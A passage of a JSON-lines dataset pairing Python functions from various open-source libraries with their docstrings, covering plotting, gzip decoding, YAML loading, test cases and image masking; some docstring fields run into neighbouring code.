= in_layout\n", "nl": "Set if artist is to be included in layout calculations,E.g. :doc:`/tutorials/intermediate/constrainedlayout_guide`,`.Figure.tight_layout()`, and``fig.savefig(fname, bbox_inches='tight')``.Parameters----------in_layout : bool"} {"code": "def dump(self, file):\n\n Raise ValueError on parse errors and IOError on read errors.\n \"\"\"", "nl": "Write the snippet to the given file-like object.print(\"\", file=file)for k, v in sorted(self.data.items()): # order must be deterministicif k == 'content':# Leading and trailing newlines are ignored for content when inserting in STprint(\"\\t\",sep=\"\", file=file)else:print(\"\\t<\", k, \">\", _escape_xml(v), \"\",sep=\"\", file=file)print(\"\", file=file)def read(self):Read and parse the .sane-snippet file."} {"code": "def __init__(self, learner=None, ate_alpha=0.05, control_name=0):\n super().__init__(\n learner=learner, ate_alpha=ate_alpha, control_name=control_name\n )\n", "nl": "Initialize an S-learner classifier.Args:learner (optional): a model to estimate the treatment effect.Should have a predict_proba() method.control_name (str or int, optional): name of control group"} {"code": "def managed_namespace(self):\n return self._managed_namespace\n\n @managed_namespace.setter", "nl": "Gets the managed_namespace of this V1alpha1InfoResponse. # noqa: E501:return: The managed_namespace of this V1alpha1InfoResponse. # noqa: E501:rtype: str"} {"code": "def test_component_configurations_setter(self):\n assert self.aea_config.component_configurations == {}\n new_component_configurations = {\n self.dummy_skill_component_id: {\n \"handlers\": {\"dummy\": {\"class_name\": \"SomeClass\"}}\n }\n }\n with pytest.raises(\n ValueError, match=r\"Configuration of component .* is not valid.*\"\n ):\n self.aea_config.component_configurations = new_component_configurations\n", "nl": "Test component configuration setter.assert self.aea_config.component_configurations == {}new_component_configurations = {self.dummy_skill_component_id: self.new_dummy_skill_config}self.aea_config.component_configurations = new_component_configurationsdef test_component_configurations_setter_negative(self):Test component configuration setter with wrong configurations."} {"code": "def sequence_mask(lengths, max_len=None):\n batch_size = lengths.numel()\n max_len = max_len or lengths.max()\n return (torch.arange(0, max_len)\n .type_as(lengths)\n .repeat(batch_size, 1)\n .lt(lengths.unsqueeze(1)))\n\n", "nl": "Creates a boolean mask from sequence lengths."} {"code": "def gzip_decode(data, max_decode=20971520):\n if not gzip:\n raise NotImplementedError\n f = StringIO.StringIO(data)\n gzf = gzip.GzipFile(mode=\"rb\", fileobj=f)\n try:\n if max_decode < 0:\n decoded = gzf.read()\n else:\n decoded = gzf.read(max_decode + 1)\n except IOError:\n raise ValueError(\"invalid data\")\n f.close()\n gzf.close()\n if max_decode >= 0 and len(decoded) > max_decode:\n raise ValueError(\"max gzipped payload length exceeded\")\n return decoded\n\n\nclass GzipDecodedResponse(gzip.GzipFile if gzip else object):\n \"\"\"a file-like object to decode a response encoded with the gzip", "nl": "gzip encoded data -> unencoded dataDecode data using the gzip content encoding as described in RFC 1952"} {"code": "def _yaml_dump(dumpable: ContentType, file_handle: IO):\n try:\n yaml.dump(dumpable, file_handle, Dumper=HumanDumper, **YamlStyle()._asdict())\n except yaml.representer.RepresenterError as exc:\n error_message = SERIALIZATION_FAILURE_MSG.format(\n content=str(dumpable),\n exception_str=str(exc),\n serialization_format=\"YAML\",\n )\n file_handle.write(error_message)\n logger.error(error_message)\n\n", "nl": "Serialize the dumpable to yaml and write to a file.:param dumpable: The object to serialize:param file_handle: The file handle to write to"} {"code": "def _str_devices(self):\n if self.atype:\n bus_type = self.atype\n else:\n bus_type = self.type\n return \"Bus %s, type=%s\\nSlots:\\n%s\" % (self.busid, bus_type,\n self._str_devices_long())\n", "nl": " short string representation of the good bus out = '{'for addr in sorted(self.bus.keys()):out += \"%s:%s,\" % (addr, self.bus[addr])if out[-1] == ',':out = out[:-1]return out + '}'def str_long(self): long string representation "} {"code": "def add_child(self, node):\n @param self\n @param predicate A callable accepting a single argument for the node to examine. If the\n predicate returns True, then that node is added to the result list and no further\n searches on that node's children are performed. A False predicate result causes the\n node's children to be searched.\n @param breadth_first Whether to search breadth first. Pass False to search depth first.\n @returns List of matching child nodes, or an empty list if no matches were found.\n \"\"\"", "nl": "! @brief Link a child node onto this object.node._parent = selfself._children.append(node)def find_children(self, predicate, breadth_first=True):! @brief Recursively search for children that match a given predicate."} {"code": "def _reset_spl_contents(self, soco):\n test_playlist, num_tracks = self._reset_spl_contents(soco)\n tracks = \",\".join([str(x) for x in reversed(range(num_tracks))])\n new_pos = \",\".join([str(x) for x in range(num_tracks)])\n args = {\n \"sonos_playlist\": test_playlist.item_id,\n \"tracks\": tracks,\n \"new_pos\": new_pos,\n }\n response = soco.reorder_sonos_playlist(**args)\n assert response[\"change\"] == 0\n assert response[\"length\"] == num_tracks\n assert response[\"update_id\"] != 0\n spl = soco.music_library.browse(ml_item=test_playlist)\n for s_item, q_item in zip(spl, reversed(soco.get_queue())):\n assert s_item.resources[0].uri == q_item.resources[0].uri\n", "nl": "Ensure test playlist matches queue for each test.soco.contentDirectory.DestroyObject([(\"ObjectID\", self.test_playlist.item_id)])playlist = soco.create_sonos_playlist_from_queue(self.playlist_name)self.__class__.test_playlist = playlistreturn playlist, self.__class__.queue_lengthdef test_reverse_track_order(self, soco):Test reversing the tracks in the Sonos playlist."} {"code": "def SetHighlight(self, highlight):\n if self.Highlight == highlight:\n return False\n\n self.Highlight = highlight\n return True\n", "nl": "Set Highlight type displayed in Viewer@return: True if highlight has changed"} {"code": "def _dnsname_to_stdlib(name):", "nl": "Converts a dNSName SubjectAlternativeName field to the form used by thestandard library on the given Python version.Cryptography produces a dNSName as a unicode string that was idna-decodedfrom ASCII bytes. We need to idna-encode that string to get it back, andthen on Python 3 we also need to convert to unicode via UTF-8 (the stdlibuses PyUnicode_FromStringAndSize on it, which decodes via UTF-8)."} {"code": "def __repr__(self):\n if self is self.utc:\n return 'datetime.timezone.utc'\n if self._name is None:\n return \"%s.%s(%r)\" % (self.__class__.__module__,\n self.__class__.__qualname__,\n self._offset)\n return \"%s.%s(%r, %r)\" % (self.__class__.__module__,\n self.__class__.__qualname__,\n self._offset, self._name)\n", "nl": "Convert to formal string, for repr().>>> tz = timezone.utc>>> repr(tz)'datetime.timezone.utc'>>> tz = timezone(timedelta(hours=-5), 'EST')>>> repr(tz)\"datetime.timezone(datetime.timedelta(-1, 68400), 'EST')\""} {"code": "def test_repr_dict(self):", "nl": "Test that the right representation is returned for dicts. self.assertEqual(summary._repr({'a': 1}), 'dict')self.assertEqual(summary._repr({'a': 1}, 1), 'dict')self.assertEqual(summary._repr({'a': 1}, verbosity=1), 'dict')self.assertEqual(summary._repr({'a': 1}, verbosity=2), 'dict, len=1')self.assertEqual(summary._repr({'a': 1}, verbosity=3), 'dict, len=1')self.assertEqual(summary._repr({'a': 1}, verbosity=100), 'dict, len=1')def test_repr_function(self):Test that the right representation is returned for functions. "} {"code": "def run(self) -> List[Node]:\n\n mermaid = self.env.app.extensions[\"sphinxcontrib.mermaid\"].version\n\n content = VERSION_TEMPLATE.format(\n sphinx=sphinx.__version__,\n pydantic=pydantic.version.VERSION,\n sphinx_rtd_theme=sphinx_rtd_theme.__version__,\n sphinx_tabs=sphinx_tabs.__version__,\n sphinx_copybutton=sphinx_copybutton.__version__,\n sphinxcontrib_mermaid=mermaid\n )\n\n content = StringList(content.split(\"\\n\"))\n return generate_nodes(self.state, content)", "nl": "Generate reST."} {"code": "def test_whySpecified(self):\n try:\n raise RuntimeError()\n except:\n eventDict = dict(\n message=(), isError=1, failure=failure.Failure(), why=\"foo\"\n )\n text = log.textFromEventDict(eventDict)\n self.assertTrue(text.startswith(\"foo\\n\"))\n\n", "nl": "The C{\"why\"} value, when specified, is first part of message."} {"code": "def create_query_connection(self, query):\n try:\n return_obj = self.api_client.create_search(query)\n except Exception as err:\n return_obj = dict()\n response_error = err\n ErrorResponder.fill_error(return_obj, response_error, ['message'], connector=self.connector)\n return return_obj", "nl": "Function to create query connection:param query: str, Query:return: dict"} {"code": "def __repr__(self):\n if self.list is None:\n raise TypeError(\"not indexable\")\n found = []\n for item in self.list:\n if item.name == key: found.append(item)\n if not found:\n raise KeyError(key)\n if len(found) == 1:\n return found[0]\n else:\n return found\n", "nl": "Return a printable representation.return \"FieldStorage(%r, %r, %r)\" % (self.name, self.filename, self.value)def __iter__(self):return iter(self.keys())def __getattr__(self, name):if name != 'value':raise AttributeError(name)if self.file:self.file.seek(0)value = self.file.read()self.file.seek(0)elif self.list is not None:value = self.listelse:value = Nonereturn valuedef __getitem__(self, key):Dictionary style indexing."} {"code": "def chart_update(self, temp_list):\n list_length = len(temp_list)\n self.chart_point_list[:list_length] = temp_list\n self.chart.set_points(self.chart_series, self.chart_point_list)\n", "nl": "Update chart data, should be called every 1s:param temp_list: list of actual temp with increasing length - new point appended to the tail"} {"code": "def returning(self):\n \"(x, y) IN ((x1, y1), (x2, y2), ...)\"\n \"\"\"", "nl": "target platform supports RETURNING.return exclusions.only_if(lambda config: config.db.dialect.implicit_returning,\"%(database)s %(does_support)s 'returning'\",)@propertydef tuple_in(self):Target platform supports the syntax"} {"code": "def set_mode_targeted_least_likely(self, kth_min=1):\n if \"targeted\" not in self._supported_mode:\n raise ValueError(\"Targeted mode is not supported.\")\n\n self._attack_mode = \"targeted(least-likely)\"\n self._targeted = True\n assert (kth_min > 0)\n self._kth_min = kth_min\n self._target_map_function = self._get_least_likely_label\n print(\"Attack mode is changed to 'targeted(least-likely).'\")\n", "nl": "rSet attack mode as targeted with least likely labels.Arguments:kth_min (str): label with the k-th smallest probability used as target labels. (Default: 1)"} {"code": "def splitit(t):\n if t== '':\n return t\n t = t+'\\n'\n store = []\n s=\"\"\n for i in t:\n if i == '\\n':\n store.append(s)\n store.append('\\n')\n s=\"\"\n else:\n s = s+i\n store = store[:-1]\n store = [i.strip(' ') for i in store if i != '']\n return store\n", "nl": " t is a string. This works like splitlines(True) ought towork but doesn't. For example: for t='\\n This is another one\\n't.splitlines(True) gives['\\n', ' This is another one\\n']whereas splitit(t) gives:['\\n', 'This is another one', '\\n']Similarly, the word tokenizer also removes the delimiters, which Iwant to keep to avoid sentence segmentation errors."} {"code": "def setstatus(self, entrypath, mode='on'):\n self.tk.call(self._w, 'setstatus', entrypath, mode)\n\n\n\nclass _dummyButton(Button, TixSubWidget):", "nl": "Sets the status of entryPath to be status. A bitmap will bedisplayed next to the entry its status is on, off or default."} {"code": "def _url_handler(url, content_type=\"text/html\"):\n class _HTMLDoc(HTMLDoc):\n", "nl": "The pydoc url handler for use with the pydoc server.If the content_type is 'text/css', the _pydoc.css stylesheet is read and returned if it exits.If the content_type is 'text/html', then the result ofget_html_page(url) is returned."} {"code": "def split_s3_path(url: str) -> Tuple[str, str]:\n Wrapper function for s3 requests in order to create more helpful error\n messages.\n \"\"\"", "nl": "Split a full s3 path into the bucket name and path.parsed = urlparse(url)if not parsed.netloc or not parsed.path:raise ValueError(\"bad s3 path {}\".format(url))bucket_name = parsed.netlocs3_path = parsed.path# Remove '/' at beginning of path.if s3_path.startswith(\"/\"):s3_path = s3_path[1:]return bucket_name, s3_pathdef s3_request(func: Callable):"} {"code": "def reorder_encoder_out(self, encoder_out, new_order):\n if encoder_out.encoder_out is not None:\n encoder_out = encoder_out._replace(\n encoder_out=encoder_out.encoder_out.index_select(1, new_order)\n )\n if encoder_out.encoder_padding_mask is not None:\n encoder_out = encoder_out._replace(\n encoder_padding_mask=encoder_out.encoder_padding_mask.index_select(0, new_order)\n )\n if encoder_out.encoder_embedding is not None:\n encoder_out = encoder_out._replace(\n encoder_embedding=encoder_out.encoder_embedding.index_select(0, new_order)\n )\n if encoder_out.encoder_states is not None:\n for idx, state in enumerate(encoder_out.encoder_states):\n encoder_out.encoder_states[idx] = state.index_select(1, new_order)\n return encoder_out\n", "nl": "Reorder encoder output according to *new_order*.Args:encoder_out: output from the ``forward()`` methodnew_order (LongTensor): desired orderReturns:*encoder_out* rearranged according to *new_order*"} {"code": "def test4(self):\n compile(prog_text_4, \"\", \"exec\")\n\n", "nl": "prog_text_4 = \\global xx = 2"} {"code": "def listGroupRequest(group):\n\n", "nl": "Returns a deferred whose callback will be passed a two-tuple of(group name, [article indices])"} {"code": "def name(self) -> str:\n return self._is_discrete\n\n @property", "nl": "Name of the current environment.return self.env.name@propertydef is_discrete(self) -> bool:The model is meant to be used in discrete environments."} {"code": "def full_load_all(stream):\n return load_all(stream, FullLoader)\n", "nl": "Parse all YAML documents in a streamand produce corresponding Python objects.Resolve all tags except those known to beunsafe on untrusted input."} {"code": "def inline_reduce(N, buf, pos, count, manner_fn):\n loop_line = manner_fn(\"%s[%s]\" % (buf, pos), \"%s[i]\" % (buf))\n r_16 = manner_fn(\"%s[%s]\" % (buf, pos), \"%s[%s+16]\" % (buf, pos))\n r_8 = manner_fn(\"%s[%s]\" % (buf, pos), \"%s[%s+8]\" % (buf, pos))\n r_4 = manner_fn(\"%s[%s]\" % (buf, pos), \"%s[%s+4]\" % (buf, pos))\n r_2 = manner_fn(\"%s[%s]\" % (buf, pos), \"%s[%s+2]\" % (buf, pos))\n r_1 = manner_fn(\"%s[%s]\" % (buf, pos), \"%s[%s+1]\" % (buf, pos))\n\n return \"\"\"\n\n\n@code_version(inline_reduce.code_version)", "nl": "Return C++ code for a function that reduces a contiguous buffer.Parameters----------NLength of the buffer.bufBuffer pointer.posIndex of executing thread.countNumber of executing threads.manner_fnA function that accepts strings of arguments aand b, and returns c code for their reduction. (Example:return \"%(a)s + %(b)s\" for a sum reduction).:postcondition:This function leaves the answer in position 0 of the buffer. Therest of the buffer is trashed by this function.Notes-----buf should be in gpu shared memory, we access it many times."} {"code": "def readfp(self, fp, strict=True):\n while 1:\n line = fp.readline()\n if not line:\n break\n words = line.split()\n for i in range(len(words)):\n if words[i][0] == '\n del words[i:]\n break\n if not words:\n continue\n type, suffixes = words[0], words[1:]\n for suff in suffixes:\n self.add_type(type, '.' + suff, strict)\n", "nl": "Read a single mime.types-format file.If strict is true, information will be added tolist of standard types, else to the list of non-standardtypes."} {"code": "def sub_cb(topic, msg):\n\n print(\"- Message received!\")\n print(\" * %s: %s\" % (topic.decode(\"utf-8\"), msg.decode(\"utf-8\")))\n\n", "nl": "Callback executed when messages from subscriptions are received. Printsthe topic and the message.:param topic: Topic of the message.:param msg: Received message."} {"code": "def ReadInnerXml(self):\n ret = libxml2mod.xmlTextReaderReadInnerXml(self._o)\n return ret\n", "nl": "Reads the contents of the current node, including childnodes and markup. "} {"code": "def onAppear(self, pattern, handler=None):\n return self._observer.register_event(\"APPEAR\", pattern, handler)", "nl": " Registers an event to call ``handler`` when ``pattern`` appears in this region.The ``handler`` function should take one parameter, an ObserveEvent object(see below). This event is ignored in the future unless the handler callsthe repeat() method on the provided ObserveEvent object.Returns the event's ID as a string."} {"code": "def _weight_drop(module, weights, dropout):\n\n for name_w in weights:\n w = getattr(module, name_w)\n del module._parameters[name_w]\n module.register_parameter(name_w + '_raw', Parameter(w))\n\n original_module_forward = module.forward\n", "nl": "Helper for `WeightDrop`."} {"code": "def finish_request(self, request, client_address):\n self.close_request(request)\n", "nl": "Finish one request by instantiating RequestHandlerClass.self.RequestHandlerClass(request, client_address, self)def shutdown_request(self, request):Called to shutdown and close an individual request."} {"code": "def islandContext():\n return island_func_class", "nl": "Return the registered context for the island functions.Return Value:Ctor() for the island function context"} {"code": "def forward(self, inputs, input_lens):\n embeds = []\n for k in range(self.config.num_levels):\n if self.config.share_enc:\n k = 0\n embeds.append(self.dropout(self.level_embeds[k](inputs)))\n\n attn_scores = self.ft_attn(embeds[0]).squeeze(2)\n input_pad_masks = framework.ops.sequence_mask(input_lens,\n max_len=attn_scores.size(1), inverse=True)\n attn_scores = attn_scores.masked_fill(input_pad_masks, -1e18)\n attn_scores = torch.softmax(attn_scores, dim=1)\n sent_embeds = torch.sum(embeds[0] * attn_scores.unsqueeze(2), 1)\n\n return sent_embeds, embeds[1], embeds[2]", "nl": "Args:inputs: (batch, max_seq_len, dim_fts)Return:sent_embeds: (batch, dim_embed)verb_embeds: (batch, max_seq_len, dim_embed)noun_embeds: (batch, max_seq_len, dim_embed)"} {"code": "def make_uri(self, endpoint_id, item_name=None):\n endpoint = self._endpoints[endpoint_id]['endpoint']\n ep_full = endpoint[1:].strip('/') \\\n if endpoint.startswith(Config.NON_PROC_ENDPOINT) else \\\n '{admin_match}/{protocol_version}/{endpoint}' \\\n ''.format(admin_match=self._rest_namespace,\n protocol_version=self._protocol_version,\n endpoint=(self._rest_prefix +\n self._endpoints[endpoint_id]['endpoint']))\n ep_uri = None if endpoint_id not in self._endpoints else \\\n '{splunkd_uri}/servicesNS/{user}/{app}/{endpoint_full}' \\\n ''.format(splunkd_uri=self.splunkd_uri,\n user=self.user,\n app=self.app,\n endpoint_full=ep_full\n )\n\n url = ep_uri if item_name is None else \"{ep_uri}/{item_name}\"\\\n .format(ep_uri=ep_uri, item_name=quote(item_name))\n if item_name is None:\n url += '?count=-1'\n log('\"make_uri\" method', msgx='url=%s' % url,\n level=logging.DEBUG)\n return url\n", "nl": "Make uri for REST endpoint in TA according to given schema:param endpoint_id: endpoint id in schema:param item_name: item name for given endpoint. None for listing all:return:"} {"code": "def get_id(self, file_location: TaggingFileLocation) -> str:\n db_request = self._build_db_request(\n sql_file_name=\"get_file_location_id.sql\",\n args=dict(server=file_location.server, directory=file_location.directory),\n )\n result = self.cursor.select_one(db_request)\n\n return None if result is None else result[\"id\"]\n", "nl": "Get the ID of the specified file location.:param file_location: object representing the location of the file.:return: the primary key representation of the file."} {"code": "def plot_intra_inter_per_year(df, save_cfg=cfg.saving_config):\n fig, ax = plt.subplots(\n figsize=(save_cfg['text_width'] / 4 * 2, save_cfg['text_height'] / 4))\n\n df['Year'] = df['Year'].astype(int)\n col_name = 'Intra/Inter subject'\n order = df[col_name].value_counts().index\n counts = df.groupby(['Year', col_name]).size().unstack(col_name)\n counts = counts[order]\n\n logger.info('Stats on inter/intra subjects: {}'.format(\n df[col_name].value_counts() / df.shape[0] * 100))\n\n counts.plot(kind='bar', stacked=True, title='', ax=ax)\n ax.set_ylabel('Number of papers')\n ax.set_xlabel('')\n\n plt.tight_layout()\n\n if save_cfg is not None:\n fname = os.path.join(save_cfg['savepath'], 'intra_inter_per_year')\n fig.savefig(fname + '.' + save_cfg['format'], **save_cfg)\n\n return ax\n\n", "nl": "Plot stacked bar graph of intra-/intersubject studies per year."} {"code": "def sendeof(self):\n\n return self._writeb(_EOF), _EOF\n", "nl": "This sends an EOF to the child. This sends a character which causesthe pending parent output buffer to be sent to the waiting childprogram without waiting for end-of-line. If it is the first characterof the line, the read() in the user program returns 0, which signifiesend-of-file. This means to work as expected a sendeof() has to becalled at the beginning of a line. This method does not send a newline.It is the responsibility of the caller to ensure the eof is sent at thebeginning of a line. "} {"code": "def net_destroy(network, extra=\"\", **dargs):\n return command(\"net-destroy %s %s\" % (network, extra), **dargs)\n\n", "nl": "Destroy (stop) an activated network on host.:param network: name/parameter for network option/argument:param extra: extra string to pass to command:param dargs: standardized virsh function API keywords:return: CmdResult object"} {"code": "def createBinaryMask(self,color1=(0,0,0),color2=(255,255,255)):\n if( color1[0]-color2[0] == 0 or\n color1[1]-color2[1] == 0 or\n color1[2]-color2[2] == 0 ):\n logger.warning(\"No color range selected, the result will be black, returning None instead.\")\n return None\n if( color1[0] > 255 or color1[0] < 0 or\n color1[1] > 255 or color1[1] < 0 or\n color1[2] > 255 or color1[2] < 0 or\n color2[0] > 255 or color2[0] < 0 or\n color2[1] > 255 or color2[1] < 0 or\n color2[2] > 255 or color2[2] < 0 ):\n logger.warning(\"One of the tuple values falls outside of the range of 0 to 255\")\n return None\n\n r = self.getEmpty(1)\n g = self.getEmpty(1)\n b = self.getEmpty(1)\n\n rl = self.getEmpty(1)\n gl = self.getEmpty(1)\n bl = self.getEmpty(1)\n\n rh = self.getEmpty(1)\n gh = self.getEmpty(1)\n bh = self.getEmpty(1)\n\n cv.Split(self.getBitmap(),b,g,r,None);\n if( abs(color1[0]-color2[0]) == 255 ):\n cv.Zero(rl)\n cv.AddS(rl,255,rl)\n elif( color1[0] < color2[0] ):\n cv.Threshold(r,rl,color1[0],255,cv.CV_THRESH_BINARY)\n cv.Threshold(r,rh,color2[0],255,cv.CV_THRESH_BINARY)\n cv.Sub(rl,rh,rl)\n else:\n cv.Threshold(r,rl,color2[0],255,cv.CV_THRESH_BINARY)\n cv.Threshold(r,rh,color1[0],255,cv.CV_THRESH_BINARY)\n cv.Sub(rl,rh,rl)\n\n\n if( abs(color1[1]-color2[1]) == 255 ):\n cv.Zero(gl)\n cv.AddS(gl,255,gl)\n elif( color1[1] < color2[1] ):\n cv.Threshold(g,gl,color1[1],255,cv.CV_THRESH_BINARY)\n cv.Threshold(g,gh,color2[1],255,cv.CV_THRESH_BINARY)\n cv.Sub(gl,gh,gl)\n else:\n cv.Threshold(g,gl,color2[1],255,cv.CV_THRESH_BINARY)\n cv.Threshold(g,gh,color1[1],255,cv.CV_THRESH_BINARY)\n cv.Sub(gl,gh,gl)\n\n if( abs(color1[2]-color2[2]) == 255 ):\n cv.Zero(bl)\n cv.AddS(bl,255,bl)\n elif( color1[2] < color2[2] ):\n cv.Threshold(b,bl,color1[2],255,cv.CV_THRESH_BINARY)\n cv.Threshold(b,bh,color2[2],255,cv.CV_THRESH_BINARY)\n cv.Sub(bl,bh,bl)\n else:\n cv.Threshold(b,bl,color2[2],255,cv.CV_THRESH_BINARY)\n cv.Threshold(b,bh,color1[2],255,cv.CV_THRESH_BINARY)\n cv.Sub(bl,bh,bl)\n\n\n cv.And(rl,gl,rl)\n cv.And(rl,bl,rl)\n return Image(rl)\n", "nl": "**SUMMARY**Generate a binary mask of the image based on a range of rgb values.A binary mask is a black and white image where the white area is kept and theblack area is removed.This method is used by specifying two colors as the range between the minimum and maximumvalues that will be masked white.**PARAMETERS*** *color1* - The starting color range for the mask..* *color2* - The end of the color range for the mask.**RETURNS**A binary (black/white) image mask as a SimpleCV Image.**EXAMPLE**>>> img = Image(\"lenna\")>>> mask = img.createBinaryMask(color1=(0,128,128),color2=(255,255,255)>>> mask.show()**SEE ALSO**:py:meth:`createBinaryMask`:py:meth:`createAlphaMask`:py:meth:`blit`:py:meth:`threshold`"} {"code": "def test_custom_client():\n client = PlainTestClient()\n assert hasattr(client, 'get_people')\n responses.add(responses.GET, 'http://dev/api/peoples/1',\n body='''\n status=200,\n content_type='application/json')\n people_resource = client.get_people(uid=1)\n assert people_resource[0].slug == 'blog-title'\n\n", "nl": "Test our own custom client - PlainTestClient"} {"code": "def change_prompt(self,str_prompt):\n current_channel = self.get_current_channel()\n old_prompt = current_channel['prompt']\n current_channel['prompt'] = str_prompt\n\n BuiltIn().log(\"Changed current prompt to `%s`\" % (str_prompt))\n return old_prompt\n\n\n", "nl": " Changes the current prompt of the channelReturns previous prompt. User should change the prompt ``before`` execute the new command thatexpects to see new prompt.Example:| Router.`Switch` | vmx11 || ${prompt}= | VChannel.`Change Prompt` | % || VChannel.`Cmd` | start shell || VChannel.`Cmd` | ls || VChannel.`Change Prompt` | ${prompt} || Vchannel.`Cmd` | exit |"} {"code": "def managed(name, enabled, discoverable=True):\n ret = {'name':name, 'changes':{}, 'result':False, 'comment':''}\n\n current_power = __salt__['bluetooth.status']()\n current_discoverability = __salt__['bluetooth.discoverable']()\n changes = { 'old':{}, 'new':{} }\n\n\n if current_power == 'off' and enabled == False:\n ret['result'] = True\n ret['comment'] = 'Bluetooth is already disabled'\n\n if current_power == 'off' and enabled == True:\n ret['comment'] = 'Bluetooth will be enabled'\n\n changes['old']['enabled'] = False\n changes['new']['enabled'] = True\n\n current_power = 'on'\n\n\n if current_power == 'on' and enabled == False:\n ret['comment'] = 'Bluetooth will be disabled'\n\n changes['old']['enabled'] = True\n changes['new']['enabled'] = False\n\n current_power = 'off'\n\n changed_text = 'discoverable' if discoverable else 'undiscoverable'\n\n if current_power == 'on':\n if current_discoverability == discoverable:\n ret['comment'] = 'Bluetooth device is already %s' % changed_text\n\n if current_discoverability != discoverable:\n ret['comment'] = 'Bluetooth discoverability will be changed to %s' % changed_text\n\n changes['old']['discoverable'] = current_discoverability\n changes['new']['discoverable'] = discoverable\n\n\n if __opts__['test'] == True:\n ret['result'] = None\n ret['changes'] = changes\n return ret\n else:\n if 'enabled' in changes['new']:\n power_method = {True:'bluetooth.on', False:'bluetooth.off'}[changes['new']['enabled']]\n changed_power = __salt__[power_method]()\n\n if 'discoverable' in changes['new']:\n discover_method = {True:'bluetooth.discover', False:'bluetooth.nodiscover'}[changes['new']['discoverable']]\n changed_discoverability = __salt__[discover_method]()\n\n\n ret['result'] = True\n ret['changes'] = changes\n return ret\n else:\n ret['result'] = None\n return ret\n", "nl": "Enforce Bluetooth power/discoverability state.nameThe state name, in this case Bluetooth is global and therefore name can be anything.I suggest 'system'.enabledIf True, Bluetooth will be enabled, otherwise it will be disabled.discoverable : TrueIf power is on, you can optionally select whether this device is discoverable by others. If power is set tooff, then this parameter has no effect."} {"code": "def pages(self):\n return self.page > 1\n\n @property", "nl": "Return number of pages.return int(ceil(self.total_count / float(self.per_page)))@propertydef has_prev(self):Return if it has a previous page."} {"code": "def list(self, **kwargs):\n\n return super(MessagingCountries, self).list(**kwargs)", "nl": "Retrieve the list of countries in which Twilio Messages areavailable."} {"code": "def unpack_ether_frame(self, frame_data):\n cfg = Config()\n pk = Packet()\n nf = NetworkFrame()\n\n destination, source, protocol = pk.unpack_packet(cfg.ESPI_ETHERNET_FRAME_STR, frame_data, 14)\n\n return nf.retrieve_mac_address(destination), nf.retrieve_mac_address(source), socket.htons(protocol), frame_data[14:]", "nl": "@param (frame_data) - Contents of the ethernet frame@return None"} {"code": "def add_patch_files(self, patch):\n\n Paths have the same meaning as for add_path().\n\n WAD files are first compared by source path, then by file's sha256.\n Plain files are simply removed.\n \"\"\"", "nl": "Add files to export from a patchlogger.info(f\"add list of files to extract for patch {patch.version}\")for elem in patch.latest().elements:elem.download(langs=True)# add files to exportfor elem in patch.latest().elements:for src, dst in elem.paths(langs=True):self.add_path(src, dst)def filter_path(self, source_path, export_path):Remove files that are in the provided path"} {"code": "def test_nodata_raster_aggregation(self):\n args = CoastalVulnerabilityTests.generate_base_args(self.workspace_dir)\n args['geomorphology_vector_path'] = os.path.join(\n INPUT_DATA, 'geomorphology_few_ranks.shp')\n args['geomorphology_fill_value'] = 3\n args['population_raster_path'] = os.path.join(\n INPUT_DATA, 'population.tif')\n args['population_radius'] = 16000\n args['slr_vector_path'] = os.path.join(\n INPUT_DATA, 'sea_level_rise.gpkg')\n args['slr_field'] = 'Trend'\n coastal_vulnerability.execute(args)\n\n results_vector = gdal.OpenEx(\n os.path.join(args['workspace_dir'], 'coastal_exposure.gpkg'),\n gdal.OF_VECTOR)\n results_layer = results_vector.GetLayer()\n\n fields = [\n 'R_hab', 'R_wind', 'R_wave', 'R_surge', 'R_relief', 'R_geomorph',\n 'R_slr', 'population', 'exposure', 'habitat_role',\n 'exposure_no_habitats']\n\n sorted_expected_data = [\n [(252692.2222200262, 5482540.950248547),\n [5, 3, 2, 1, 4, 1, 5, 0, 2.49389836245, 0, 2.49389836245]],\n [(265195.9118871244, 5465342.359978485),\n [4.05, 5, 5, 1, 5, 1, 5, 0, 3.063308387, 0.0936167899, 3.1569251777]],\n [(268404.5296770451, 5479539.256472221),\n [5, 2, 2, 1, 1, 1, 5, 0, 1.9306977288, 0, 1.9306977288]],\n [(275802.584962168, 5469283.47691652),\n [5, 3, 1, 1, 5, 1, 4, 0, 2.2587827631, 0, 2.2587827631]],\n [(286971.1600469994, 5475571.525391179),\n [5, 1, 1, 3, 1, 1, 4, 0, 1.7948229213, 0, 1.7948229213]],\n [(290844.10673833836, 5460752.369983306),\n [5, 4, 2, 2, 2, 1, 4, 0, 2.5169979012, 0, 2.5169979012]],\n [(300130.0010361069, 5437435.4230010025),\n [1.7999999, 4, 5, 2, 5, 1, 3, 0, 2.712353253, 0.426215219066, 3.138568472]],\n [(306112.5574508078, 5450095.8865171345),\n [5, 1, 3, 3, 2, 1, 3, 0, 2.225039271, 0, 2.225039271]],\n [(318255.8192637532, 5423278.964182078),\n [5, 4, 3, 2, 3, 2.5, 1, 0, 2.6426195539, 0, 2.6426195539]],\n [(339388.60793905176, 5428895.077843302),\n [5, 3, 4, 4, 2, 4, 1, 0, 2.94471340036, 0, 2.94471340036]],\n [(344736.25795214524, 5411347.428706937),\n [5, 2, 4, 3, 3, 4, 1, 0, 2.8261463109, 0, 2.8261463109]],\n [(355807.04065901926, 5394736.771414153),\n [5, 5, 4, 4, 3, 4, 2, 0, 3.70591872429, 0, 3.70591872429]],\n [(361290.81087879254, 5427975.474574804),\n [5, 1, 3, 5, 1, 4, 2, 0, 2.493898362454, 0, 2.493898362454]],\n [(361341.1463245464, 5433678.995435326),\n [5, 2, 1, 5, 1, 4, 1, 0, 2.1316631165, 0, 2.1316631165]],\n [(368269.9048903524, 5449541.99543876),\n [5, 1, 1, 5, 2, 4, 2, 0.008, 2.3535468936, 0, 2.3535468936]],\n [(376479.9819538344, 5383636.197270025),\n [4.05, 5, 5, 4, 4, 4, 3, numpy.nan, 4.0989337064, 0.125266204816, 4.2241999112]]\n ]\n\n actual_data = []\n for feature in results_layer:\n geom = feature.GetGeometryRef()\n x = geom.GetX()\n y = geom.GetY()\n actual_row = []\n for field in fields:\n value = feature.GetField(field)\n if value is None:\n actual_row.append(numpy.nan)\n else:\n actual_row.append(value)\n actual_data.append([(x, y), actual_row])\n\n sorted_actual_data = sorted(actual_data)\n for actual, expected in zip(sorted_actual_data, sorted_expected_data):\n actual_coords, actual_data = actual[0], actual[1:]\n expected_coords, expected_data = expected[0], expected[1:]\n numpy.testing.assert_allclose(actual_coords, expected_coords)\n numpy.testing.assert_allclose(actual_data, expected_data)\n\n actual_values_df = pandas.read_csv(\n os.path.join(args['workspace_dir'], 